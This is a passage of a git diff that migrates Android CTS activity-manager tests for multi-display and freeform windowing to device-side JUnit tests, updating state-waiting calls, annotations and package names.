- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
TEST_ACTIVITY_NAME);
@@ -1016,12 +1056,13 @@
final int height = displayMetrics.getHeight();
executeShellCommand("input tap " + (width / 2) + " " + (height / 2));
- mAmWmState.computeState(mDevice, new String[] {VIRTUAL_DISPLAY_ACTIVITY});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(VIRTUAL_DISPLAY_ACTIVITY).build());
mAmWmState.assertFocusedActivity("Focus must be switched back to primary display",
VIRTUAL_DISPLAY_ACTIVITY);
}
/** Test that shell is allowed to launch on secondary displays. */
+ @Test
public void testPermissionLaunchFromShell() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -1051,8 +1092,8 @@
+ " --display " + newDisplay.mDisplayId;
executeShellCommand(startCmd);
- mAmWmState.waitForValidState(mDevice, new String[] {SECOND_ACTIVITY_NAME},
- null /* stackIds */, false /* compareTaskAndStackBounds */, SECOND_PACKAGE_NAME);
+ mAmWmState.waitForValidState(false /* compareTaskAndStackBounds */, SECOND_PACKAGE_NAME,
+ new WaitForValidActivityState.Builder(SECOND_ACTIVITY_NAME).build());
mAmWmState.assertFocusedActivity("Focus must be on newly launched app", SECOND_PACKAGE_NAME,
SECOND_ACTIVITY_NAME);
assertEquals("Activity launched by system must be on external display",
@@ -1060,6 +1101,7 @@
}
/** Test that launching from app that is on external display is allowed. */
+ @Test
public void testPermissionLaunchFromAppOnSecondary() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -1072,8 +1114,8 @@
final String displayTarget = " --display " + newDisplay.mDisplayId;
executeShellCommand(startCmd + displayTarget);
- mAmWmState.waitForValidState(mDevice, new String[] {SECOND_ACTIVITY_NAME},
- null /* stackIds */, false /* compareTaskAndStackBounds */, SECOND_PACKAGE_NAME);
+ mAmWmState.waitForValidState(false /* compareTaskAndStackBounds */, SECOND_PACKAGE_NAME,
+ new WaitForValidActivityState.Builder(SECOND_ACTIVITY_NAME).build());
mAmWmState.assertFocusedActivity("Focus must be on newly launched app",
SECOND_PACKAGE_NAME, SECOND_ACTIVITY_NAME);
final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
@@ -1092,8 +1134,8 @@
executeShellCommand("am broadcast -a " + broadcastAction + " -p " + SECOND_PACKAGE_NAME
+ targetActivity + includeStoppedPackagesFlag);
- mAmWmState.waitForValidState(mDevice, new String[] {THIRD_ACTIVITY_NAME},
- null /* stackIds */, false /* compareTaskAndStackBounds */, THIRD_PACKAGE_NAME);
+ mAmWmState.waitForValidState(false /* compareTaskAndStackBounds */, THIRD_PACKAGE_NAME,
+ new WaitForValidActivityState.Builder(THIRD_ACTIVITY_NAME).build());
mAmWmState.assertFocusedActivity("Focus must be on newly launched app",
THIRD_PACKAGE_NAME, THIRD_ACTIVITY_NAME);
assertEquals("Activity launched by app on secondary display must be on that display",
@@ -1101,6 +1143,7 @@
}
/** Tests that an activity can launch an activity from a different UID into its own task. */
+ @Test
public void testPermissionLaunchMultiUidTask() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -1108,7 +1151,7 @@
.build();
launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
- mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(LAUNCHING_ACTIVITY).build());
// Check that the first activity is launched onto the secondary display
final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
@@ -1135,6 +1178,7 @@
* Test that launching from display owner is allowed even when the the display owner
* doesn't have anything on the display.
*/
+ @Test
public void testPermissionLaunchFromOwner() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -1154,8 +1198,8 @@
final String displayTarget = " --display " + newDisplay.mDisplayId;
executeShellCommand(startCmd + displayTarget);
- mAmWmState.waitForValidState(mDevice, new String[] {SECOND_ACTIVITY_NAME},
- null /* stackIds */, false /* compareTaskAndStackBounds */, SECOND_PACKAGE_NAME);
+ mAmWmState.waitForValidState(false /* compareTaskAndStackBounds */, SECOND_PACKAGE_NAME,
+ new WaitForValidActivityState.Builder(SECOND_ACTIVITY_NAME).build());
mAmWmState.assertFocusedActivity("Focus must be on newly launched app",
SECOND_PACKAGE_NAME, SECOND_ACTIVITY_NAME);
final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
@@ -1169,7 +1213,7 @@
+ " --ez launch_activity true --ez new_task true --ez multiple_task true"
+ " --ei display_id " + newDisplay.mDisplayId);
- mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY_NAME);
+ mAmWmState.waitForValidState(TEST_ACTIVITY_NAME);
mAmWmState.assertFocusedActivity("Focus must be on newly launched app", TEST_ACTIVITY_NAME);
assertEquals("Activity launched by owner must be on external display",
externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
@@ -1179,6 +1223,7 @@
* Test that launching from app that is not present on external display and doesn't own it to
* that external display is not allowed.
*/
+ @Test
public void testPermissionLaunchFromDifferentApp() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -1212,8 +1257,8 @@
assertSecurityException("LaunchBroadcastReceiver", logSeparator);
- mAmWmState.waitForValidState(mDevice, new String[] {TEST_ACTIVITY_NAME},
- null /* stackIds */, false /* compareTaskAndStackBounds */, componentName);
+ mAmWmState.waitForValidState(false /* compareTaskAndStackBounds */, componentName,
+ new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
mAmWmState.assertFocusedActivity(
"Focus must be on first activity", componentName, TEST_ACTIVITY_NAME);
assertEquals("Focused stack must be on secondary display's stack",
@@ -1246,6 +1291,7 @@
/**
* Test that only private virtual display can show content with insecure keyguard.
*/
+ @Test
public void testFlagShowWithInsecureKeyguardOnPublicVirtualDisplay() throws Exception {
if (!supportsMultiDisplay()) {
return;
@@ -1266,6 +1312,7 @@
* Test that all activities that were on the private display are destroyed on display removal.
*/
// TODO: Flaky, add to presubmit when b/63404575 is fixed.
+ @Test
public void testContentDestroyOnDisplayRemoved() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -1293,11 +1340,11 @@
= ActivityManagerTestBase.getWindowName(TEST_ACTIVITY_NAME);
final String windowName2
= ActivityManagerTestBase.getWindowName(RESIZEABLE_ACTIVITY_NAME);
- mAmWmState.waitForWithAmState(mDevice,
+ mAmWmState.waitForWithAmState(
(state) -> !state.containsActivity(activityName1)
&& !state.containsActivity(activityName2),
"Waiting for activity to be removed");
- mAmWmState.waitForWithWmState(mDevice,
+ mAmWmState.waitForWithWmState(
(state) -> !state.containsWindow(windowName1)
&& !state.containsWindow(windowName2),
"Waiting for activity window to be gone");
@@ -1321,6 +1368,7 @@
* Test that the update of display metrics updates all its content.
*/
@Presubmit
+ @Test
public void testDisplayResize() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -1343,7 +1391,7 @@
final String logSeparator = clearLogcat();
executeShellCommand(getResizeVirtualDisplayCommand());
- mAmWmState.waitForWithAmState(mDevice, amState -> {
+ mAmWmState.waitForWithAmState(amState -> {
try {
return readConfigChangeNumber(RESIZEABLE_ACTIVITY_NAME, logSeparator) == 1
&& amState.hasActivityState(RESIZEABLE_ACTIVITY_NAME, STATE_RESUMED);
@@ -1353,8 +1401,9 @@
}
}, "Wait for the configuration change to happen and for activity to be resumed.");
- mAmWmState.computeState(mDevice, new String[] {RESIZEABLE_ACTIVITY_NAME,
- VIRTUAL_DISPLAY_ACTIVITY}, false /* compareTaskAndStackBounds */);
+ mAmWmState.computeState(false /* compareTaskAndStackBounds */,
+ new WaitForValidActivityState.Builder(RESIZEABLE_ACTIVITY_NAME).build(),
+ new WaitForValidActivityState.Builder(VIRTUAL_DISPLAY_ACTIVITY).build());
mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true);
mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY_NAME, true);
@@ -1379,6 +1428,7 @@
* Tests that when an activity is launched with displayId specified and there is an existing
* matching task on some other display - that task will moved to the target display.
*/
+ @Test
public void testMoveToDisplayOnLaunch() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -1407,7 +1457,7 @@
final String launchCommand = "am start -n " + getActivityComponentName(LAUNCHING_ACTIVITY)
+ " --display " + newDisplay.mDisplayId;
executeShellCommand(launchCommand);
- mAmWmState.waitForActivityState(mDevice, LAUNCHING_ACTIVITY, STATE_RESUMED);
+ mAmWmState.waitForActivityState(LAUNCHING_ACTIVITY, STATE_RESUMED);
// Check that activity is brought to front.
mAmWmState.assertFocusedActivity("Existing task must be brought to front",
@@ -1424,17 +1474,18 @@
// Check that task has moved from primary display to secondary.
final int taskNumFinal = mAmWmState.getAmState().getStackById(defaultDisplayStackId)
.getTasks().size();
- mAmWmState.assertEquals("Task number in default stack must be decremented.", taskNum - 1,
+ assertEquals("Task number in default stack must be decremented.", taskNum - 1,
taskNumFinal);
final int taskNumFinalOnSecondary = mAmWmState.getAmState().getStackById(frontStackId)
.getTasks().size();
- mAmWmState.assertEquals("Task number in stack on external display must be incremented.",
+ assertEquals("Task number in stack on external display must be incremented.",
taskNumOnSecondary + 1, taskNumFinalOnSecondary);
}
/**
* Tests that when primary display is rotated secondary displays are not affected.
*/
+ @Test
public void testRotationNotAffectingSecondaryScreen() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -1462,7 +1513,7 @@
logSeparator = clearLogcat();
launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
- mAmWmState.waitForActivityState(mDevice, TEST_ACTIVITY_NAME, STATE_RESUMED);
+ mAmWmState.waitForActivityState(TEST_ACTIVITY_NAME, STATE_RESUMED);
mAmWmState.assertFocusedActivity("Focus must be on secondary display",
TEST_ACTIVITY_NAME);
final ReportedSizes testActivitySizes = getLastReportedSizesForActivity(
@@ -1485,15 +1536,16 @@
* Tests that task affinity does affect what display an activity is launched on but that
* matching the task component root does.
*/
+ @Test
public void testTaskMatchAcrossDisplays() throws Exception {
if (!supportsMultiDisplay()) { return; }
final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
- mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(LAUNCHING_ACTIVITY).build());
- // Check that activity is on the right display.
+ // Check that activity is on the secondary display.
final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
final ActivityManagerState.ActivityStack firstFrontStack =
mAmWmState.getAmState().getStackById(frontStackId);
@@ -1502,10 +1554,11 @@
mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
executeShellCommand("am start -n " + getActivityComponentName(ALT_LAUNCHING_ACTIVITY));
- mAmWmState.waitForValidState(mDevice, new String[] {ALT_LAUNCHING_ACTIVITY},
- null /* stackIds */, false /* compareTaskAndStackBounds */, componentName);
+ mAmWmState.waitForValidState(false /* compareTaskAndStackBounds */, componentName,
+ new WaitForValidActivityState.Builder(ALT_LAUNCHING_ACTIVITY).build());
- // Check that second activity gets launched on the default display
+ // Check that second activity gets launched on the default display despite
+ // the affinity match on the secondary display.
final int defaultDisplayFrontStackId = mAmWmState.getAmState().getFrontStackId(
DEFAULT_DISPLAY_ID);
final ActivityManagerState.ActivityStack defaultDisplayFrontStack =
@@ -1517,12 +1570,13 @@
defaultDisplayFrontStackId);
executeShellCommand("am start -n " + getActivityComponentName(LAUNCHING_ACTIVITY));
- mAmWmState.waitForFocusedStack(mDevice, frontStackId);
+ mAmWmState.waitForFocusedStack(frontStackId);
- // Check that the third intent is redirected to the first task
+ // Check that the third intent is redirected to the first task due to the root
+ // component match on the secondary display.
final ActivityManagerState.ActivityStack secondFrontStack
= mAmWmState.getAmState().getStackById(frontStackId);
- assertEquals("Activity launched on default display must be resumed",
+ assertEquals("Activity launched on secondary display must be resumed",
getActivityComponentName(LAUNCHING_ACTIVITY), secondFrontStack.mResumedActivity);
mAmWmState.assertFocusedStack("Focus must be on primary display", frontStackId);
assertEquals("Focused stack must only contain 1 task",
@@ -1532,9 +1586,53 @@
}
/**
+ * Tests that the task affinity search respects the launch display id.
+ */
+ @Test
+ public void testLaunchDisplayAffinityMatch() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+ launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
+
+ // Check that activity is on the secondary display.
+ final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+ final ActivityManagerState.ActivityStack firstFrontStack =
+ mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Activity launched on secondary display must be resumed",
+ getActivityComponentName(LAUNCHING_ACTIVITY), firstFrontStack.mResumedActivity);
+ mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
+
+ // We don't want FLAG_ACTIVITY_MULTIPLE_TASK, so we can't use launchActivityOnDisplay
+ executeShellCommand("am start -n "
+ + getActivityComponentName(ALT_LAUNCHING_ACTIVITY)
+ + " -f 0x10000000" // FLAG_ACTIVITY_NEW_TASK
+ + " --display " + newDisplay.mDisplayId);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(ALT_LAUNCHING_ACTIVITY).build());
+
+ // Check that second activity gets launched into the affinity matching
+ // task on the secondary display
+ final int secondFrontStackId =
+ mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+ final ActivityManagerState.ActivityStack secondFrontStack =
+ mAmWmState.getAmState().getStackById(secondFrontStackId);
+ assertEquals("Activity launched on secondary display must be resumed",
+ getActivityComponentName(ALT_LAUNCHING_ACTIVITY),
+ secondFrontStack.mResumedActivity);
+ mAmWmState.assertFocusedStack("Focus must be on secondary display",
+ secondFrontStackId);
+ assertEquals("Focused stack must only contain 1 task",
+ 1, secondFrontStack.getTasks().size());
+ assertEquals("Focused task must contain 2 activities",
+ 2, secondFrontStack.getTasks().get(0).mActivities.size());
+ }
+
+ /**
* Tests than a new task launched by an activity will end up on that activity's display
* even if the focused stack is not on that activity's display.
*/
+ @Test
public void testNewTaskSameDisplay() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -1542,7 +1640,7 @@
.build();
launchActivityOnDisplay(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mDisplayId);
- mAmWmState.computeState(mDevice, new String[] {BROADCAST_RECEIVER_ACTIVITY});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(BROADCAST_RECEIVER_ACTIVITY).build());
// Check that the first activity is launched onto the secondary display
final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
@@ -1554,8 +1652,8 @@
mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
executeShellCommand("am start -n " + getActivityComponentName(TEST_ACTIVITY_NAME));
- mAmWmState.waitForValidState(mDevice, new String[] {TEST_ACTIVITY_NAME},
- null /* stackIds */, false /* compareTaskAndStackBounds */, componentName);
+ mAmWmState.waitForValidState(false /* compareTaskAndStackBounds */, componentName,
+ new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
// Check that the second activity is launched on the default display
final int focusedStackId = mAmWmState.getAmState().getFocusedStackId();
@@ -1571,8 +1669,8 @@
// Check that the third activity ends up in a new task in the same stack as the
// first activity
- mAmWmState.waitForValidState(mDevice, new String[] {LAUNCHING_ACTIVITY},
- null /* stackIds */, false /* compareTaskAndStackBounds */, componentName);
+ mAmWmState.waitForValidState(false /* compareTaskAndStackBounds */, componentName,
+ new WaitForValidActivityState.Builder(LAUNCHING_ACTIVITY).build());
mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
final ActivityManagerState.ActivityStack secondFrontStack =
mAmWmState.getAmState().getStackById(frontStackId);
@@ -1589,6 +1687,7 @@
* and unlocking the phone and verifies that overrides are kept.
*/
@Presubmit
+ @Test
public void testForceDisplayMetrics() throws Exception {
launchHomeActivity();
@@ -1612,7 +1711,7 @@
// might update the metrics.
sleepDevice();
wakeUpAndUnlockDevice();
- mAmWmState.waitForHomeActivityVisible(mDevice);
+ mAmWmState.waitForHomeActivityVisible();
// Check if overrides are still applied.
displayMetrics = getDisplayMetrics();
@@ -1626,6 +1725,7 @@
/**
* Tests than an immediate launch after new display creation is handled correctly.
*/
+ @Test
public void testImmediateLaunchOnNewDisplay() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -1634,7 +1734,7 @@
.setLaunchActivity(TEST_ACTIVITY_NAME).build();
// Check that activity is launched and placed correctly.
- mAmWmState.waitForActivityState(mDevice, TEST_ACTIVITY_NAME, STATE_RESUMED);
+ mAmWmState.waitForActivityState(TEST_ACTIVITY_NAME, STATE_RESUMED);
mAmWmState.assertResumedActivity("Test activity must be launched on a new display",
TEST_ACTIVITY_NAME);
final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
@@ -1649,6 +1749,7 @@
* Tests that turning the primary display off does not affect the activity running
* on an external secondary display.
*/
+ @Test
public void testExternalDisplayActivityTurnPrimaryOff() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -1669,11 +1770,9 @@
setPrimaryDisplayState(false);
// Wait for the fullscreen stack to start sleeping, and then make sure the
- // test activity is still resumed. Note that on some devices, the top activity may go to
- // the stopped state by itself on sleep, causing the server side to believe it is still
- // paused.
- waitAndAssertActivityPausedOrStopped(RESIZEABLE_ACTIVITY_NAME,
- "Activity launched on primary display must be stopped or paused after turning off");
+ // test activity is still resumed.
+ waitAndAssertActivityStopped(RESIZEABLE_ACTIVITY_NAME,
+ "Activity launched on primary display must be stopped after turning off");
waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
"Activity launched on external display must be resumed");
}
@@ -1682,6 +1781,7 @@
* Tests that an activity can be launched on a secondary display while the primary
* display is off.
*/
+ @Test
public void testLaunchExternalDisplayActivityWhilePrimaryOff() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -1711,6 +1811,7 @@
/**
* Tests that turning the secondary display off stops activities running on that display.
*/
+ @Test
public void testExternalDisplayToggleState() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -1740,6 +1841,7 @@
* Tests that tapping on the primary display after showing the keyguard resumes the
* activity on the primary display.
*/
+ @Test
public void testStackFocusSwitchOnTouchEventAfterKeyguard() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -1782,7 +1884,7 @@
private void waitAndAssertActivityResumed(String activityName, int displayId, String message)
throws Exception {
- mAmWmState.waitForActivityState(mDevice, activityName, STATE_RESUMED);
+ mAmWmState.waitForActivityState(activityName, STATE_RESUMED);
final String fullActivityName = getActivityComponentName(activityName);
assertEquals(message, fullActivityName, mAmWmState.getAmState().getResumedActivity());
@@ -1798,28 +1900,10 @@
private void waitAndAssertActivityStopped(String activityName, String message)
throws Exception {
- waitAndAssertActivityState(activityName, message, STATE_STOPPED);
- }
+ mAmWmState.waitForActivityState(activityName, STATE_STOPPED);
- private void waitAndAssertActivityPausedOrStopped(String activityName, String message)
- throws Exception {
- waitAndAssertActivityState(activityName, message, STATE_PAUSED, STATE_STOPPED);
- }
-
- private void waitAndAssertActivityState(String activityName, String message, String... states)
- throws Exception {
- mAmWmState.waitForActivityState(mDevice, activityName, states);
-
- boolean stateFound = false;
-
- for (String state : states) {
- if (mAmWmState.getAmState().hasActivityState(activityName, state)) {
- stateFound = true;
- break;
- }
- }
-
- assertTrue(message, stateFound);
+ assertTrue(message, mAmWmState.getAmState().hasActivityState(activityName,
+ STATE_STOPPED));
}
/**
@@ -1838,13 +1922,12 @@
launchActivityOnDisplay(SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME, newDisplay.mDisplayId);
gotoKeyguard();
- mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
- mAmWmState.waitForActivityState(mDevice, TEST_ACTIVITY_NAME, STATE_STOPPED);
- mAmWmState.waitForActivityState(
- mDevice, SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME, STATE_RESUMED);
+ mAmWmState.waitForActivityState(TEST_ACTIVITY_NAME, STATE_STOPPED);
+ mAmWmState.waitForActivityState(SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME, STATE_RESUMED);
- mAmWmState.computeState(mDevice, new String[] { SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME });
+ mAmWmState.computeState(new String[] { SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME });
assertTrue("Expected resumed activity on secondary display", mAmWmState.getAmState()
.hasActivityState(SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME, STATE_RESUMED));
} finally {
@@ -1855,10 +1938,8 @@
/** Get physical and override display metrics from WM. */
private ReportedDisplayMetrics getDisplayMetrics() throws Exception {
mDumpLines.clear();
- final CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
- mDevice.executeShellCommand(WM_SIZE, outputReceiver);
- mDevice.executeShellCommand(WM_DENSITY, outputReceiver);
- final String dump = outputReceiver.getOutput();
+ final String dump = executeShellCommand(WM_SIZE)
+ + executeShellCommand(WM_DENSITY);
mDumpLines.clear();
Collections.addAll(mDumpLines, dump.split("\\n"));
return ReportedDisplayMetrics.create(mDumpLines);
@@ -1985,7 +2066,7 @@
final ReportedDisplays originalDS = getDisplaysStates();
final int originalDisplayCount = originalDS.getNumberOfDisplays();
- mExternalDisplayHelper = new DisplayHelper(getDevice());
+ mExternalDisplayHelper = new DisplayHelper();
mExternalDisplayHelper.createAndWaitForDisplay(true /* external */, showContentWhenLocked);
// Wait for the virtual display to be created and get configurations.
@@ -2000,10 +2081,10 @@
}
/** Turns the primary display on/off by pressing the power key */
- private void setPrimaryDisplayState(boolean wantOn) throws DeviceNotAvailableException {
+ private void setPrimaryDisplayState(boolean wantOn) {
// Either KeyEvent.KEYCODE_WAKEUP or KeyEvent.KEYCODE_SLEEP
int keycode = wantOn ? 224 : 223;
- getDevice().executeShellCommand("input keyevent " + keycode);
- DisplayHelper.waitForDefaultDisplayState(getDevice(), wantOn);
+ executeShellCommand("input keyevent " + keycode);
+ DisplayHelper.waitForDefaultDisplayState(wantOn);
}
}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerFreeformStackTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerFreeformStackTests.java
similarity index 64%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerFreeformStackTests.java
rename to tests/framework/base/activitymanager/src/android/server/am/ActivityManagerFreeformStackTests.java
index a1d76c8..98da8a2 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerFreeformStackTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerFreeformStackTests.java
@@ -14,17 +14,21 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
-import android.server.cts.ActivityManagerState.ActivityStack;
-import android.server.cts.ActivityManagerState.ActivityTask;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
+import static org.junit.Assert.assertEquals;
-import java.awt.Rectangle;
-import java.util.ArrayList;
+import android.graphics.Rect;
+import android.server.am.ActivityManagerState.ActivityStack;
+import android.server.am.ActivityManagerState.ActivityTask;
+
+import org.junit.Test;
/**
* Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerFreeformStackTests
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerFreeformStackTests
*/
public class ActivityManagerFreeformStackTests extends ActivityManagerTestBase {
@@ -42,32 +46,34 @@
private static final String NON_RESIZEABLE_ACTIVITY = "NonResizeableActivity";
private static final String NO_RELAUNCH_ACTIVITY = "NoRelaunchActivity";
+ @Test
public void testFreeformWindowManagementSupport() throws Exception {
- launchActivityInStack(FREEFORM_ACTIVITY, FREEFORM_WORKSPACE_STACK_ID);
+ launchActivity(FREEFORM_ACTIVITY, WINDOWING_MODE_FREEFORM);
- mAmWmState.computeState(mDevice, new String[] {FREEFORM_ACTIVITY, TEST_ACTIVITY});
+ mAmWmState.computeState(FREEFORM_ACTIVITY, TEST_ACTIVITY);
if (!supportsFreeform()) {
- mAmWmState.assertDoesNotContainStack(
- "Must not contain freeform stack.", FREEFORM_WORKSPACE_STACK_ID);
+ mAmWmState.assertDoesNotContainStack("Must not contain freeform stack.",
+ WINDOWING_MODE_FREEFORM, ACTIVITY_TYPE_STANDARD);
return;
}
- mAmWmState.assertFrontStack(
- "Freeform stack must be the front stack.", FREEFORM_WORKSPACE_STACK_ID);
+ mAmWmState.assertFrontStack("Freeform stack must be the front stack.",
+ WINDOWING_MODE_FREEFORM, ACTIVITY_TYPE_STANDARD);
mAmWmState.assertVisibility(FREEFORM_ACTIVITY, true);
mAmWmState.assertVisibility(TEST_ACTIVITY, true);
mAmWmState.assertFocusedActivity(
TEST_ACTIVITY + " must be focused Activity", TEST_ACTIVITY);
- assertEquals(new Rectangle(0, 0, TEST_TASK_SIZE_1, TEST_TASK_SIZE_1),
+ assertEquals(new Rect(0, 0, TEST_TASK_SIZE_1, TEST_TASK_SIZE_1),
mAmWmState.getAmState().getTaskByActivityName(TEST_ACTIVITY).getBounds());
}
+ @Test
public void testNonResizeableActivityHasFullDisplayBounds() throws Exception {
- launchActivityInStack(NON_RESIZEABLE_ACTIVITY, FREEFORM_WORKSPACE_STACK_ID);
+ launchActivity(NON_RESIZEABLE_ACTIVITY, WINDOWING_MODE_FREEFORM);
- mAmWmState.computeState(mDevice, new String[] {NON_RESIZEABLE_ACTIVITY});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(NON_RESIZEABLE_ACTIVITY).build());
final ActivityTask task =
mAmWmState.getAmState().getTaskByActivityName(NON_RESIZEABLE_ACTIVITY);
@@ -85,20 +91,22 @@
task.getBounds());
}
+ @Test
public void testActivityLifeCycleOnResizeFreeformTask() throws Exception {
- launchActivityInStack(TEST_ACTIVITY, FREEFORM_WORKSPACE_STACK_ID);
- launchActivityInStack(NO_RELAUNCH_ACTIVITY, FREEFORM_WORKSPACE_STACK_ID);
+ launchActivity(TEST_ACTIVITY, WINDOWING_MODE_FREEFORM);
+ launchActivity(NO_RELAUNCH_ACTIVITY, WINDOWING_MODE_FREEFORM);
- mAmWmState.computeState(mDevice, new String[]{TEST_ACTIVITY, NO_RELAUNCH_ACTIVITY});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY).build(),
+ new WaitForValidActivityState.Builder(NO_RELAUNCH_ACTIVITY).build());
if (!supportsFreeform()) {
- mAmWmState.assertDoesNotContainStack(
- "Must not contain freeform stack.", FREEFORM_WORKSPACE_STACK_ID);
+ mAmWmState.assertDoesNotContainStack("Must not contain freeform stack.",
+ WINDOWING_MODE_FREEFORM, ACTIVITY_TYPE_STANDARD);
return;
}
- final int displayId = mAmWmState.getAmState().getStackById(
- ActivityManagerTestBase.FREEFORM_WORKSPACE_STACK_ID).mDisplayId;
+ final int displayId = mAmWmState.getAmState().getStandardStackByWindowingMode(
+ WINDOWING_MODE_FREEFORM).mDisplayId;
final int densityDpi =
mAmWmState.getWmState().getDisplay(displayId).getDpi();
final int testTaskSize1 =
@@ -111,14 +119,16 @@
resizeActivityTask(NO_RELAUNCH_ACTIVITY,
TEST_TASK_OFFSET_2, TEST_TASK_OFFSET_2, testTaskSize1, testTaskSize2);
- mAmWmState.computeState(mDevice, new String[]{TEST_ACTIVITY, NO_RELAUNCH_ACTIVITY});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY).build(),
+ new WaitForValidActivityState.Builder(NO_RELAUNCH_ACTIVITY).build());
final String logSeparator = clearLogcat();
resizeActivityTask(TEST_ACTIVITY,
TEST_TASK_OFFSET, TEST_TASK_OFFSET, testTaskSize2, testTaskSize1);
resizeActivityTask(NO_RELAUNCH_ACTIVITY,
TEST_TASK_OFFSET_2, TEST_TASK_OFFSET_2, testTaskSize2, testTaskSize1);
- mAmWmState.computeState(mDevice, new String[]{TEST_ACTIVITY, NO_RELAUNCH_ACTIVITY});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY).build(),
+ new WaitForValidActivityState.Builder(NO_RELAUNCH_ACTIVITY).build());
assertActivityLifecycle(TEST_ACTIVITY, true /* relaunched */, logSeparator);
assertActivityLifecycle(NO_RELAUNCH_ACTIVITY, false /* relaunched */, logSeparator);
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerManifestLayoutTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerManifestLayoutTests.java
similarity index 74%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerManifestLayoutTests.java
rename to tests/framework/base/activitymanager/src/android/server/am/ActivityManagerManifestLayoutTests.java
index e6df4b2..dd66df0 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerManifestLayoutTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerManifestLayoutTests.java
@@ -14,27 +14,28 @@
* limitations under the License.
*/
-package android.server.cts;
+package android.server.am;
-import java.lang.Exception;
-import java.lang.String;
-import java.util.ArrayList;
-import java.util.List;
+
